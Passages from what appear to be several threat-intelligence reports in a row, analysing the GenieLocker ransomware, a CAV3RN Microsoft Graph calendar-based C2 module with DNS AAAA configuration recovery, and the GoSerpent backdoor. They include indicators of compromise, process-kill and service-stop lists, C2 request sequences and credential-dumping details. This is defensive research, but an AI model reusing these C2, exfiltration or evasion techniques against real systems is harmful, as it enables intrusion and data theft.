Lateral movement was performed by using RDP to reach Windows machines and SSH for Linux servers. The widespread deployment of the encryption Trojan was conducted with the legitimate utilities PsExec and PAExec. Additionally, the attackers established a reverse SSH tunnel to communicate with their command‑and‑control server.

Impact

During the impact phase, the attackers encrypted files on the compromised Windows machines with the PE version of the GenieLocker ransomware. On the compromised Linux and ESXi servers, they stopped active virtual machines and encrypted their disks using the ELF version of GenieLocker.

The tactics, techniques, and procedures seen here match those documented in earlier attacks attributed to the Toy Ghouls group. As in those prior incidents, forensic analysis found no evidence of data exfiltration, which is typical behavior for this threat actor. Toy Ghouls have not employed a double‑extortion model and do not run a data‑leak website.

Encryption Trojan for Windows

The Windows version of GenieLocker (MD5: 5d62c1349b8981c396c9a23f4f8f053c) is primarily written in C, but compiled with the C++ libraries using Microsoft Visual C/C++. The malware incorporates several ransom‑related capabilities, including process termination, service shutdown, debugger evasion, and a sophisticated encryption routine. For its cryptographic operations, it relies on the open‑source libsodium library.

Aligned with the recent trend supported by our expertise, as observed in attacks of some other ransomware strains, GenieLocker doesn’t save the ransom notes on the victim’s system. The Trojan doesn’t contain any attackers’ contact info or negotiation addresses. Instead, the attackers will need to deliver the ransom demands and contacts manually during the attack. This approach may be an attempt by the GenieLocker developers to avoid proactive detection of the ransomware process being triggered by the creation of multiple readme files.

GenieLocker help message

Arguments and launch

GenieLocker supports multiple arguments for configuring its behavior.

GenieLocker expects the first argument to be a hex string referred to in the malware code as the “secret argument”, which is required for the ransomware to start. Most likely, the purpose of this is to avoid execution on sandboxes and other automated analysis environments. Another reason may be to prevent unauthorized usage by other threat actors.

Checking the secret argument

The secret argument is a hex value with a variable size that does not exceed 4096 bytes. This hex string value is converted to bytes and hashed with the SHA‑256 algorithm. The result is compared to a hardcoded value. If they match, the literal string session is appended to the secret value, and the whole string is hashed with BLAKE2b‑256, but the resulting hash is never used. This may be a part of a feature still in development.

Secret value hashing

Anti-debugging

GenieLocker contains multiple methods to inspect if its process is under debugging. After launch it makes the first check named Environment check and uses WinAPI functions IsDebuggerPresent and CheckRemoteDebuggerPresent to detect the debugger.

Environment check

After the secret argument validation, GenieLocker starts a new parallel thread called watchdog. It runs in an infinite loop that performs a number of checks to detect well-known debuggers every 500 milliseconds. If at least one of the checks fails, the whole GenieLocker process immediately terminates.

Watchdog checks

The only thing worth elaborating on is that the GenieLocker process calculates the CRC32 of its .text section when the watchdog thread is starting, saves the resulting hash, and then recalculates it again in every loop and compares with the initial value. In case the code in this section is modified by the debugger or other program, this method allows the Trojan to detect this modification.

Preparing for encryption

GenieLocker contains multiple exclusion lists. For example, it does not encrypt folders with names from the list below. Among those, there are mostly system folders, which are skipped to avoid corrupting the OS.

$recycle.bin;config.msi;$windows.~bt;$windows.~ws;windows;boot;program files;program files (x86);programdata;system volume information;tor browser;windows.old;intel;msocache;perflogs;x64dbg;public;all users;default;microsoft;appdata

The Trojan also avoids encrypting the following system Windows files.

autorun.inf;boot.ini;bootfont.bin;bootsect.bak;desktop.ini;iconcache.db;ntldr;ntuser.dat;ntuser.dat.log;ntuser.ini;thumbs.db;GDIPFONTCACHEV1.DAT;d3d9caps.dat

The file extensions below are excluded from encryption as well.

386;adv;ani;bat;bin;cab;cmd;com;cpl;cur;deskthemepack;diagcab;diagcfg;diagpkg;dll;drv;exe;hlp;icl;icns;ico;ics;idx;ldf;lnk;mod;mpa;msc;msp;msstyles;msu;nls;nomedia;ocx;prf;ps1;rom;rtp;scr;shs;spl;sys;theme;themepack;wpx;lock;key;hta;msi;pdb;search-ms;MD

Furthermore, the Trojan contains an exclusion list for host names. The malware retrieves the computer name using GetComputerNameA and checks it against this list, but in the sample in question, the list is empty.

Output for whitelisted hosts

If the host name is not excluded, GenieLocker starts to kill processes that could be using the files of interest and therefore prevent the Trojan from encrypting them. These processes are listed below. The Trojan stops them by using the TerminateProcess function.

sql;oracle;ocssd;dbsnmp;synctime;agntsvc;isqlplussvc;xfssvccon;mydesktopservice;ocautoupds;encsvc;firefox;tbirdconfig;mydesktopqos;ocomm;dbeng50;sqbcoreservice;excel;infopath;msaccess;mspub;onenote;outlook;powerpnt;steam;thebat;thunderbird;visio;winword;wordpad;notepad;calc;wuauclt;onedrive;1c;vmwp;vmms;vmcompute;mssqlserver

Additionally, the Trojan stops the following services using ControlService with the SERVICE_CONTROL_STOP control code.

vss;sql;svc$;memtas;mepocs;msexchange;sophos;veeam;backup;GxVss;GxBlr;GxFWD;GxCVD;GxCIMgr;1c;Mssqlserver;vmwp;vmms;vmcompute;mssqlserver;agent_ovpnconnect

Finally, GenieLocker starts encryption threads and searches for all available drives, including network shares, to encrypt them.

Threads info output

File encryption and cryptography

The extension for the encrypted files is hardcoded in the Trojan’s body. In the sample under review, it is .03ffc1c4a3da0f02. Before starting to encrypt each file, GenieLocker creates two auxiliary files:

• a lock file: <filename.fileext>.03ffc1c4a3da0f02.lock
• a journal: <fileext>.03ffc1c4a3da0f02.journal

The lock file helps to protect files from double encryption by other threads or instances. Inside this file, the Trojan stores the current PID obtained from the GetCurrentProcessId function.

The journal file contains the hardcoded string VCJOURN, value 1 (possibly version), some unused zeroed fields, total blocks to encrypt, and the count of blocks that are actually encrypted. The last field is a CRC32 hash sum for the integrity check of the journal content.

Journal content

By default GenieLocker encrypts files using 0x1000000-byte chunks. If the argument -p is passed (it sets the percentage of the file contents to be encrypted), the ransomware calculates how many chunks with 0x1000000 size are necessary to encrypt the specified percentage. Each chunk has a random position inside the file. Regardless of whether the percentage is set, even if it is zero, the first chunk in the beginning of the file will be encrypted anyway.

The Trojan encrypts the file content using the Authenticated Encryption with Associated Data (AEAD) algorithm XChaCha20-Poly1305, with a unique key and nonce for each file. The Trojan also adds a footer that contains the data necessary for future decryption and metadata. The metadata parts are encrypted using the same cipher and key as the file contents, but with a different nonce. The file key is encrypted using the Curve25519-XSalsa20-Poly1305 scheme, with the attackers’ master public key hardcoded in the Trojan’s body.

The metadata of each encrypted file contains the following fields.

The chunks bitmask contains as many bits as the maximum number of chunks inside a file at 100%. If a bit at a specific index is set to 1, the chunk is encrypted. The value 0 means that the chunk is not encrypted. Since the Trojan encrypts files based on the percentage value, it needs to know which chunks were encrypted.

Metadata structure at the end of an encrypted file (without a Poly1305 tags array or bitmask)

Encryption Trojan for ESXi and Linux

Compared with its Windows counterpart, the Linux and ESXi version of GenieLocker (MD5: 9201e35e2993612612919a3c71302cab) is simpler: there is no secret argument, anti‑debugging techniques, or exclusion lists. However, the sample has ESXi-specific features, such as double‑fork support and the ability to modify the Welcome Message. The sample has the version v1 and, similarly to the Windows version, uses the libsodium library for cryptography.

ESXi version description

The command‑line help output mirrors LockBit’s styling, reinforcing the theory that GenieLocker’s creators set out to craft a LockBit‑style replacement for their own operations.

LockBit output design, possibly the source layout for the GenieLocker ESXi variant

Based on the default path of the encryption directory /vmfs/volumes, we can assume that this version is intended primarily for ESXi. Nonetheless, it can still be executed on Linux distributions.

ESXi and Linux features

This build allows daemonizing its process with the -d flag, employing the classic double‑fork method so the new process becomes fully detached from its parent.

This variant also modifies the /etc/vmware/welcome file, which contains the Welcome Message (Message of the Day) on the ESXi operating system. On Linux distributions, it does not change anything, because they use different paths for the Message of the Day. In the GenieLocker sample examined here, the message is left empty.

Additionally, the ESXi version supports a few basic features that are not included in the Windows version. For instance, there is a launch‑delay option and the ability to set the number of encryption worker threads. This build also includes several features that already exist in the Windows variant, such as configuring the percentage of a file to encrypt, choosing the target directory, and setting the log file location.

File encryption

The encryption scheme for files is identical to the Windows version. The Trojan uses XChaCha20-Poly1305 to encrypt the file content and metadata, and Curve25519-XSalsa20-Poly1305 for key encryption.

File encryption summary

Victims

According to KSN telemetry, GenieLocker detections are overwhelmingly concentrated on endpoints located in the Russian Federation. In the March 2026 campaign, the primary sector under siege was manufacturing, with construction trailing closely, followed by financial services, retail, and technology.

Conclusions

Toy Ghouls are ramping up their campaign against Russian enterprises. The rollout of their home‑grown encryption Trojan GenieLocker marks a major upgrade to the group’s ransomware toolkit. By engineering bespoke ransomware that runs natively on Windows, Linux, and ESXi, the actor has cut their dependence on off‑the‑shelf ransomware families and unified the cryptographic backbone across all targeted platforms.

Kaspersky’s products detect this malware as Trojan-Ransom.Win64.Agent.genie, HEUR:TrojanRansom.Win64.Generic, Trojan-Ransom.Linux.Agent.genie.

Indicators of compromise

Additional information about this threat is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.

GenieLocker for Windows

A50EAAF514F4F84E61CA2455A8789753 kftd.exe, genie_encrypt.exe
F08F476F26B01D142CA73923DE65FC0C
FD46A80C2F45577263328984EDF7F4DC
DE3CFBB50F66079BFEE20A6F64E59433
780C8F4C6F077DA4DA96582987920362
D87D0B01D95ACC936B7DC47B8F41937A run.exe, genie_encrypt.exe
34A7F28E0BB69B0D49BACC88BDF20AC1 run.exe, run2.exe, genie.exe
5D62C1349B8981C396C9A23F4F8F053C genie_encrypt.exe
A8842616C9057D5CF6E1FE1FA8C3C160
34B8828635F88078735799A3C1AC8E28
D3E06EB34D8EEE7EF92CAC3AD0A20FF5
C68B6862725777651085650DB34947FC consultant.exe
9CD514FF2809CE0B993E3B8649E82A94
824CA1E906CC073EE5B0F3519DF69A8F
25480DAD40152EF3D0C6D38EECC9BD9B
7DAD78584795AA5C160520CC6ACCF260
18F61C6D686CFFD131C9FD3F3437064B tempo.exe, kernel.exe
9969A8221312DBA70DD5CBDDF83A146C
F7B9E36E94163A9A303160945F99267A
B893EAFED0659F70D4AC250F09073723
D661CF666B9ACBAB7CFEAE1127A261A9 genie.exe
3A4479B51890373BFC4A011EF41FE376
58C0DDA52B8F069660166D61FD74F911

GenieLocker for Linux and ESXi

9201E35E2993612612919A3C71302CAB vzdump

C2

89[.]125.66.101

Introduction

In June 2026, as part of our Kaspersky Threat Intelligence Reporting service, we published extensive research on Project CAV3RN, a sophisticated modular framework used for cyberespionage activity against targets in Israel. We have been tracking this cluster since December 2025, and in late April 2026, we observed a major architectural shift: the developers moved from a three-component framework consisting of a downloader, executor, and uploader to a controller-based architecture with a dedicated WebSocket-enabled C2 communication component and a more extensible plugin system designed to support modular post-exploitation capabilities.

Subsequently, Check Point Research publicly reported on the same controller-based architecture in July 2026. However, neither our previous research nor the subsequent public reporting covered the latest communication component analyzed in this report.

Following our June 2026 publication, we identified a .NET Native AOT communication module that is apparently designed to replace the previous HTTP/WebSocket component. It exchanges commands and results through Outlook calendar events accessed via Microsoft Graph. If Microsoft Graph authentication or tenant validation fails, the module attempts to retrieve replacement connection settings through DNS AAAA responses.

Module network communication architecture

During the preparation of this report, additional public research covering this communication component became available. The research presented in our article is based on our independent analysis and includes several additional implementation details that complement the existing public reporting.

Technical details

The previously reported controller-based CAV3RN architecture separates C2 communication from command execution. The controller, uxtheme.dll, generates and maintains the seven-character Agent ID, manages the polling loop, processes built-in commands, and dispatches other tasks or commands to separate plugins. The previously used communication component, n-HTCommp.dll, retrieved commands and transmitted execution results over HTTP/WebSocket.

Project CAV3RN architecture (April 2026)

The module performs the same communication role but uses Outlook calendar events accessed through Microsoft Graph. Similarly to the previous version, its get and send interface and use of the same controller-generated Agent ID suggest that it was designed to replace the previous communication component. However, because the corresponding updated controller was not recovered, this replacement role is assessed rather than directly observed.

C2 communication module

The communication module, AzureCommunication.dll, is a DLL compiled with .NET Native AOT, consistent with several other components of the Project CAV3RN framework that are publicly documented. Such a compilation method turns the managed application into native machine code and removes most of the metadata and intermediate language that normally make .NET assemblies straightforward to analyze.

The module exposes its functionality through a single export named QueryInterface. We expect an updated controller to load the DLL, resolve this export, and pass it a null-terminated UTF-16 string. The accepted input format closely follows the interface used by the previously documented CAV3RN controller.

get_;;_<agent-id>_,_<legacy-url>  
send_;;_<agent-id>_,_<legacy-url>_,_<result>

The _;;_ delimiter separates the operation from its arguments, while _,_ separates the arguments.

For get, the module only uses the first argument as the Agent ID. For send, it uses only the Agent ID and the result. In both cases, the additional legacy URL is ignored. It remains part of the interface for compatibility with the controller, even though the new module obtains its destination and credentials from its own Microsoft Graph configuration.

Outlook calendar events as a C2 channel

The DLL contains a complete default configuration, including the Microsoft Entra tenant ID, application credentials, target mailbox, DNS bootstrap host, and cryptographic keys required to establish communication.

Before processing either get or send operation, the module looks for a relative file named logAzure.txt. Because the code supplies only a filename, Windows resolves it against the current working directory of the process hosting the DLL.

If logAzure.txt exists, the module reads and deserializes it. If it is absent, the module builds the configuration from the hardcoded values and writes the complete object to disk with the following structure:

{
  "TenantId": "******-****-****-****-**********",  // Microsoft Entra tenant ID
  "ClientId": "********-****-****-****-************",  // application/client ID
  "ClientSecret": "********************************************",
  "UserEmail": "***@*********.co.il", // Compromised target Microsoft 365 mailbox
  "Host": "cloudlanecdn[.]com", // DNS bootstrap domain
  "PublicKey": "-----BEGIN RSA PUBLIC KEY-----\r\n[omitted]\r\n-----END RSA PUBLIC KEY-----", // outbound encryption public key
  "PrivateKey": "-----BEGIN RSA PRIVATE KEY-----\r\n[omitted]\r\n-----END RSA PRIVATE KEY-----" // inbound decryption private key
}

Using the resulting configuration, the module creates a Microsoft Graph client and validates access by requesting the tenant’s organization record through a GET request to  https://graph.microsoft.com/v1.0/organization.

Attempting this request causes the Azure Identity library to obtain an OAuth application token:

POST https://login.microsoftonline.com/<TenantId>/oauth2/v2.0/token
client_id=<ClientId>
client_secret=<ClientSecret>
scope=https://graph.microsoft.com/.default
grant_type=client_credentials

After successful authentication, the module includes the token in subsequent Graph requests using the Authorization: Bearer <access-token> header. The module uses the default calendar of the configured mailbox as a dead-drop channel. Commands, heartbeats, and results all occupy the same fixed one-hour window 2050-05-13 22:00–23:00 UTC.

Scheduling the events for 2050 makes them unlikely to appear in ordinary calendar views. The calendar event subject identifies each event’s purpose and associated Agent ID. Heartbeat and result subjects append the fixed suffix 1500 to this value; the suffix is not part of the Agent ID.

Receiving a command

For a get request, the module queries calendarView and filters the results by the Agent ID:

GET /v1.0/users/***@*********.co.il/calendarView?startDateTime=2050-05-13T22:00:00&endDateTime=2050-05-13T23:00:00&$filter=contains(subject,'Event ID: <agent-id>')

If Graph returns one or more matches, the module selects the first returned event and requests its attachments:

GET /v1.0/users/***@*********.co.il/events/<EventId>/attachments
Authorization: Bearer <access-token>

After obtaining the attachment response, the module deletes the calendar event:

DELETE /v1.0/users/***@*********.co.il/calendar/events/<EventId>
Authorization: Bearer <access-token>

Our analysis found a consistent difference in capitalization between command and result attachments:

Inbound command decryption

Inbound commands use a combination of RSA and AES-GCM encryption. Once the attachments have been sorted and concatenated, the reconstructed encrypted command buffer begins with a 256-byte RSA-encrypted block containing the 32-byte AES key. The communication module decrypts this block with the RSA private key stored in its configuration, using RSA-OAEP with SHA-256.

The following 12 bytes contain the AES-GCM nonce, while the final 16 bytes contain the authentication tag. Everything between the nonce and tag is ciphertext. The module uses the recovered AES key to decrypt and authenticate this ciphertext with AES-256-GCM.

Encrypted attachment stored in a calendar event

After RSA-OAEP-SHA256 and AES-256-GCM decryption, the 63-byte ciphertext produces {"cid": "alXBCzcDl8hBuNE", "type": "self", "cmd": "003_;;__,_"}.

Decrypted command

The cid field appears to serve as a unique command-correlation identifier. As described in a previous publication of the framework, when the operator sets the JSON type field to self, the controller routes the command to its internal handler rather than dispatching it to an external plugin. In this command, the cmd field contains 003_;;__,_, where command 003 instructs the controller to toggle debug logging. After decryption, the communication module returns the complete command to the external controller through QueryInterface.

Sending command output

For a send request, the controller passes the command output to the communication module. The module encrypts the output using a newly generated AES-256-GCM key and protects that key with the configured RSA public key. It then divides the encrypted payload into chunks of up to 10 MiB.

To publish the result, the module creates a calendar event with the temporary subject d and attempts to add each encrypted chunk as a sequentially named attachment, such as File0.txt and File1.txt. After adding the attachments, it changes the subject to Boss Report ID: <agent-id>1500, marking the event as a completed result.

This process uses the following sequence of Microsoft Graph requests:

POST   /v1.0/users/***@*********.co.il/calendar/events
POST   /v1.0/users/***@*********.co.il/calendar/events/<EventId>/attachments
PATCH  /v1.0/users/***@*********.co.il/events/<EventId>

Together, the uploaded attachments contain fragments of one encrypted result package: the RSA-encrypted AES key, AES-GCM nonce, encrypted command output, and authentication tag. Recovering outbound results requires the private key corresponding to the outbound public key. This private key is assessed to be held separately by the attacker.

Heartbeat handling

The module maintains a heartbeat event identified by the subject Boss update ID: <agent-id>1500. The module searches the same fixed calendar window for a previous heartbeat associated with the agent. If one exists, the module deletes it and creates a replacement event with the temporary subject d through the following sequence of Microsoft Graph requests:

GET    /v1.0/users/***@*********.co.il/calendarView 
DELETE /v1.0/users/***@*********.co.il/events/<EventId> 
POST   /v1.0/users/***@*********.co.il/events

Finally, it updates the newly created event through the following PATCH request, replacing the temporary subject d with Boss update ID: <agent-id>1500.

PATCH /v1.0/users/***@*********.co.il/events/<EventId>
Authorization: Bearer <access-token>

{
  "subject": "Boss update ID: <agent-id>1500"
}

Heartbeat events use the same one-hour window in 2050 but contain no attachments.

The following figure summarizes the module’s operational workflow.

DNS AAAA configuration recovery mechanism

When OAuth token acquisition or the subsequent GET /v1.0/organization validation request fails, the module attempts to retrieve replacement TenantId, ClientId, ClientSecret, and UserEmail values through actor-controlled AAAA responses.

DNS-based configuration recovery (simplified)

The module uses cloudlanecdn[.]com as its configuration-recovery domain. The domain is delegated to four actor-controlled authoritative nameservers, ns1 through ns4.cloudlanecdn[.]com, allowing the operator to generate different AAAA responses according to the Agent ID, configuration field, and fragment offset.

The module submits the generated DNS queries through the operating system’s configured recursive resolver, which follows the domain’s delegation to one of the authoritative nameservers. The returned IPv6 address is treated as a 16-byte container for protocol data rather than as a network destination.

For both get and send operations, the controller supplies the seven-character Agent ID as the first argument to QueryInterface. The communication module converts its UTF-8 bytes into two-character uppercase hexadecimal values. For example, SFmLgQZ becomes 53 46 6D 4C 67 51 5A, which the module concatenates as 53466D4C67515A.

The hexadecimal identifier is then embedded in every recovery query. The module retrieves four Microsoft Graph configuration values in a fixed order, with each value assigned a numeric index:

Determining the field length through .p. queries

For each configuration value (TenantId, ClientId, ClientSecret, and UserEmail), the module first sends an AAAA query to determine the value’s total length: d.<hex-agent-id>.<field-index>.p.<host>.

In this format, <hex-agent-id> is the uppercase hexadecimal representation of the Agent ID supplied by the controller. The <field-index> identifies the requested configuration value according to the table above; for example, index 0 represents TenantId. The p marker indicates a length request, while <host> contains the configured DNS recovery domain, cloudlanecdn[.]com.

As an example, the following AAAA DNS query requests the length of the TenantId associated with Agent ID SFmLgQZ:

d.53466D4C67515A.0.p.cloudlanecdn[.]com

The AAAA response 2001:24:1234:5678:9abc:def0:1122:3344 corresponds to the byte sequence 20 01 00 24 12 34 56 78 9A BC DE F0 11 22 33 44. The module discards the first two bytes and interprets the following two bytes, 00 24, as a big-endian field length. This produces the value 0x0024, or 36 bytes. The remaining 12 bytes are ignored. The initial 2001 group is not treated as a network destination or strictly validated as a protocol marker; it simply occupies the two bytes that the module discards.

IPv6 AAAA record payload layout for obtaining length

In the observed example, the same process produced a 36-byte TenantId, a 36-byte ClientId, a 40-byte ClientSecret, and a 28-byte UserEmail. The protocol itself supports other lengths because each value’s length is supplied dynamically by its .p. response.

To illustrate this process, we reproduced the protocol in a controlled environment using a laboratory domain.

Field length encoding in DNS AAAA record responses (example)

Retrieving configuration data through .q. queries

After obtaining the field length from the .p. response, the module allocates a buffer of exactly that size and initializes an offset to 0. It then requests the field data using the following format: d.<hex-agent-id>.<field-index>.<offset>.q.<host>.

The <field-index> identifies the requested configuration value, while <offset> specifies where the fragment belongs in the output buffer. After checking for the sentinel address, the module discards the first two bytes of each normal .q. response and copies up to 14 of the remaining bytes. For the final response, it copies only the bytes required to reach the declared field length.

Queries continue at 14-byte offsets until the declared field length has been recovered.

The following figure shows the three .q. requests required to reconstruct a 36-byte TenantId.

TenantId retrieval process via DNS AAAA records (example)

In our laboratory responses, the first two bytes appear as the IPv6 group 2001 and are discarded. The responses at offsets 0 and 14 each provide 14 bytes, while the response at offset 28 supplies the final eight bytes. Concatenating and decoding these fragments produces the complete TenantId, 6f9d2a41-8c73-4b56-a1e8-2d407c95f3ab, as shown in the example figure.

The module repeats this procedure for ClientId, ClientSecret, and UserEmail. After reconstructing each value, it decodes the buffer as UTF-8, updates the corresponding configuration field, and writes the complete configuration to logAzure.txt. Once all four fields have been recovered, the module creates a new Graph client, repeats the /organization validation request, and resumes the original get or send operation if validation succeeds.

The DNS recovery mechanism updates only the TenantId, ClientId, ClientSecret, and UserEmail fields. It does not replace the configured DNS recovery host, RSA public or private keys, offering limited rotation for updating the domain itself that is used within the DNS fallback mechanism.

Failure handling and the sentinel AAAA response

In this module, the hard-coded IPv6 address 2001:4998:44:3507::8000 acts as a failure sentinel. After resolving an AAAA query, the module converts the first returned address to a string and compares it with this value before extracting any bytes. If the values match, it raises an exception and does not interpret the response as either a field length or configuration data.

The address belongs to Yahoo’s 2001:4998::/32 allocation. We could not determine why the developers selected it. The authoritative backend may return it for an unknown Agent ID, an unavailable field, an invalid index or offset, or an agent for which recovery is disabled. These conditions remain hypothetical because the backend was unavailable and the module handles every sentinel response in the same way.

Infrastructure

Historical DNS data shows that cloudlanecdn[.]com was registered on December 24, 2025. The domain initially used the Namecheap-operated nameservers dns1.registrar-servers.com and dns2.registrar-servers.com. On May 2, 2026, passive DNS first observed a transition from these vendor-managed nameservers to custom nameservers under cloudlanecdn[.]com.

Although the domain was delegated to four nameserver hostnames, their shared IP addresses reveal logical redundancy rather than four independently hosted DNS servers.

The shift from vendor‑managed DNS to custom in‑bailiwick authoritative nameservers aligns with the module’s DNS recovery design.

The DNS timeline overlaps with this new module’s development. Passive DNS first recorded the custom delegation on May 2, after the controller-and-plugin architecture was observed in April and before the May 19 timestamp stored in the new module. Because the custom authoritative infrastructure supports the module’s recovery protocol, we assess with moderate confidence that the infrastructure and module were prepared as part of the same development cycle.

Attribution

In our previous report, we attributed Project CAV3RN to OilRig (APT34) with low confidence. Analysis of the newly identified module provides additional evidence supporting this link.

Microsoft-hosted services for C2
Several OilRig malware strains have used Microsoft-hosted services for C2. RDAT malware exchanged commands and results through EWS email messages, and there are cases reported with the SC5k malware using Office 365 drafts, and OilCheck malware using Microsoft Graph to access Outlook drafts. CAV3RN uses the same class of service but stores commands and results in Outlook calendar events.

Secondary recovery mechanism for cloud C2
ESET previously documented OilBooster, which retrieved a replacement OAuth refresh token from a likely compromised website after repeated failures communicating with Microsoft OneDrive.

OilBooster used HTTP to recover a refresh token, whereas CAV3RN uses DNS AAAA records to recover four configuration fields. In both cases, the secondary mechanism restores access to the primary cloud C2 channel.

Compromised regional infrastructure
OilRig has previously used compromised infrastructure belonging to organizations in the regions it targets. Solar malware communicated through the compromised website of an Israeli human-resources company, while Whisper/Veaty malware used compromised Iraqi government Microsoft 365 mailboxes. The CAV3RN module similarly uses a compromised Microsoft 365 mailbox belonging to an Israeli law firm.

Based on the evidence discussed above, we retain our low-confidence assessment that Project CAV3RN is associated with OilRig. The new module shares several behavioral patterns with previously reported OilRig tooling, including the use of Microsoft-hosted services, attachment-based command exchange, and a secondary mechanism for restoring access to a cloud C2 channel. However, we identified no direct code reuse or infrastructure overlap.

Conclusions

The new module extends CAV3RN’s controller-and-plugin architecture with a Microsoft Graph-based communication transport. Its architectural continuity suggests that it was designed to replace the previous HTTP/WebSocket component with Outlook calendar events. If Graph authentication or validation fails, its DNS recovery protocol is designed to retrieve replacement connection settings.

The framework changed repeatedly between December 2025 and May 2026, indicating that development remains active. We continue to track this activity.

Indicators of compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

File hashes

CAF021DDA726B8BA049C2AA395E505A1      AzureCommunication.dll
C092B02FBC0FDF7EE9608DD016673806      NewProject.dll
29B2B8C5D99F05BFCDD0D8D976EB5678      AzureCommunication.dll

Domains and IPs

cloudlanecdn[.]com
ns1[.]cloudlanecdn[.]com
ns2[.]cloudlanecdn[.]com
ns3[.]cloudlanecdn[.]com
ns4[.]cloudlanecdn[.]com
google.com[.]ayalon-print.co[.]il
clipeditskill[.]com
accesslinkssl[.]com
216[.]126[.]237[.]197
144[.]172[.]108[.]205

Introduction

In February 2026, we discovered a set of malicious activities that had been ongoing since late 2025. These activities involved a RAT module written in Go with proxy capabilities, which served as the main stage of the attack. The attack targeted government and diplomatic entities in Southeast Asia and showed a level of sophistication that caught our attention.

During the attack, the main malware, dubbed GoSerpent, received an encrypted argument and started communicating with a remote server. It was also used to deploy further malicious tools to collect sensitive data and dump credentials on the system.

Monitoring the activities of this threat actor revealed that in May 2026, they came back with an evolved set of malicious tools: a new RAT and proxy tool, Stowaway, which resembled the initial malware, as well as an additional stealthy tool to exfiltrate sensitive data collected in the previous few months through network shares.

We found earlier versions of the GoSerpent backdoor used since 2021 against victims in Southeast Asia with relatively simpler code that received command-line arguments in plain text. Even though the newer variant is stealthier, the attackers continued using the simpler version alongside the latest one in their recent attacks.

What makes this threat particularly concerning is the strategic deployment of various tools with sophisticated data collection and exfiltration capabilities.

In this article, we introduce the malicious tools uncovered by us, which have been used since late 2025.

Technical details

Initial phase of the attacks

The initial phase of the attacks involved deployment of the GoSerpent backdoor, followed by additional malicious tools. During this phase, the main goal was to collect sensitive files and store them for future exfiltration, which was done by a data collecting tool, ThumbcacheService. The attackers also needed system credentials to exfiltrate the collected data through network drives at a later stage. This was achieved through a number of credential dumping tools deployed in this phase via the GoSerpent backdoor.

GoSerpent backdoor

The primary weapon in this campaign is the GoSerpent backdoor, a sophisticated Go-based remote access Trojan that has been active since at least 2021, with the most recent variant deployed in 2026.

This malware receives encrypted and base64-encoded command-line arguments containing a C2 server address and communication password, which are decrypted using AES-CBC mode with a fixed IV (31323334353637383930616263646566) and keys derived from predefined strings.

The backdoor connects to command-and-control servers using ChaCha20 encryption for communications, with the SHA256 hash of the communication password serving as the encryption key.

GoSerpent supports multiple C2 commands by receiving special command values. The commands include the following:

GoSerpent can establish SOCKS5 proxy servers to route traffic through compromised hosts, enabling attackers to access other networks while masking their true IP addresses. The backdoor is capable of deploying additional malicious tools, including ThumbcacheService for file collection, Mimikatz for credential dumping, and QuarksDumpLocalHash for local account password hash extraction. The malware exhibits strong persistence mechanisms and uses filenames that mimic legitimate system processes such as lass.exe and updates.exe to evade detection.

McMx RAT

McMx is a basic Go-based proxy and remote access tool that represents a simpler variant of the GoSerpent backdoor, apparently compiled from a different GitHub repository path.

Unlike the latest variant of GoSerpent, which uses encrypted command-line arguments, McMx receives input parameters from text files in plaintext format — in a way that resembles older versions of GoSerpent. The malware features similar function names with apparent typos present in both tools.

Before executing McMx, attackers manipulate batch files to generate configuration files containing C2 parameters. The patterns observed show the use of echo commands to create configuration files with parameters like remote host addresses, ports, and secret keys. The McMx malware is then deployed with this configuration.

The tool shares core functionalities with GoSerpent, including:

• SOCKS5 proxying
• port forwarding
• file transfer
• remote shell capabilities

Data collection and credential dumping tools

Following initial deployment of the GoSerpent backdoor, attackers typically wait several days before utilizing it to download and execute additional malware components for data collection and credential dumping.

ThumbcacheService

ThumbcacheService is a malicious DLL deployed as a Windows service that functions as a sophisticated file collection mechanism within the GoSerpent ecosystem. The malware employs XOR encryption with a single-byte key of 0x13 for string obfuscation. It decrypts embedded strings and creates a database file named thumbcache_605a.db in the C:\Users\Public\ directory to store collected sensitive files. It specifically targets documents with the following extensions: .doc, .docx, .pdf, .xls and .xlsx.

The targeted files are then archived using 7-Zip and protected with a predefined password @vx0a9n5W2M0c3D6.#, enforcing a 20MB size limit for archives.
The malicious service also monitors the $Recycle.Bin directory for deleted files with the extensions of interest, ensuring comprehensive data collection.

Credential dumping tools

The threat actor deploys the following tools via GoSerpent backdoor to dump credentials:

1. Mimikatz — dumps memory from the LSASS process to extract credential material, including cached credentials and Kerberos tickets.
2. QuarksDumpLocalHash — extracts local account password hashes from the SAM registry hive, allowing for offline password cracking attacks.

These tools work together to maximize information extraction from compromised systems. The stolen credentials were used in later stages of the attack to facilitate the exfiltration of sensitive files collected by ThumbcacheService.

Second stage of the attacks

After the initial phase of the malware deployments, the attackers allowed a few weeks for the ThumbcacheService to silently collect sensitive files without exfiltrating them. In the meantime, the credential dumping tools also continued to steal credentials. In May 2026, the threat actor came back with a set of new tools. The main malware of this round of activity was another Go-based RAT and proxy tool, Stowaway. It was used to deploy the two-stage data exfiltration tool TmcLoader/TmcPayload, which was the last piece of the data theft puzzle.

Stowaway

Stowaway is a proxy and remote access tool compiled from an open-source framework with customized functions to make the infection stealthier. This malware features both network admin and agent capabilities, enabling attackers to establish chained proxy paths across multiple hosts with the following functionalities:

• SOCKS5 proxying
• port forwarding
• reverse tunneling
• remote shell access
• file transfer
• SSH-based tunneling

Communications are transported over TCP, HTTP, or WebSocket channels protected by AES-256-GCM or TLS encryption.
As the next step, the attackers deliver two files to the victim machine via Stowaway:

• TmcLoader with an embedded payload
• {BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db — an encrypted configuration file

TmcLoader/TmcPayload

TmcLoader is a stealthy C++ loader module registered as a Windows service. The malware embeds an encrypted payload dubbed TmcPayload within its .data section, which is decrypted and loaded into the memory space of the svchost process to maintain persistence and avoid detection.

TmcLoader employs dynamic API resolution through a circular XOR encryption, where each byte is XORed with the value of the subsequent byte, combined with Base64 encoding for string obfuscation to hide API names.

The loader creates a unique event to prevent multiple infections on the same system. After that, it extracts and decrypts the embedded TmcPayload. This payload component is responsible for exfiltrating sensitive data from the victim’s machine.

TmcPayload generates a file path from an obfuscated string: C:\Users\Public\Libraries\{BBF061R2-BE25-4F6D-8B2D-1A6A39C3FSA2}.db.

